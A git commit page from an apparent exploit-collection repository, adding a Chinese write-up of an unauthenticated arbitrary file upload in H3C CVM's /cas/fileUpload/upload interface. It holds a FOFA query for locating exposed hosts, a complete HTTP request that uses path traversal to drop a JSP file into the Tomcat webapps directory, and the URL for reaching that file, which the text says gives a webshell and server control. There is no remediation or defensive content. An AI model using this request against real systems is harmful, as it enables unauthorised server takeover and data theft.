6.5更新漏洞

This commit is contained in:
wy876
2024-06-05 10:17:32 +08:00
parent 3e915b09e9
commit 43899d1536
20 changed files with 602 additions and 0 deletions

View File

@@ -0,0 +1,30 @@
## H3C-CVM-upload接口前台任意文件上传漏洞复现
H3C CVM /cas/fileUpload/upload接口存在任意文件上传漏洞未授权的攻击者可以上传任意文件获取 webshell控制服务器权限读取敏感信息等。
## fofa
```
app="H3C-CVM"
```
## poc
```
POST /cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/a.jsp&name=123 HTTP/1.1
Host: your-ip
Content-Range: bytes 0-10/20
Referer: http://your-ip/cas/login
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
<%out.println("test");%>
```
![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406040902939.webp)
访问文件路径
```
/cas/js/lib/buttons/a.jsp
```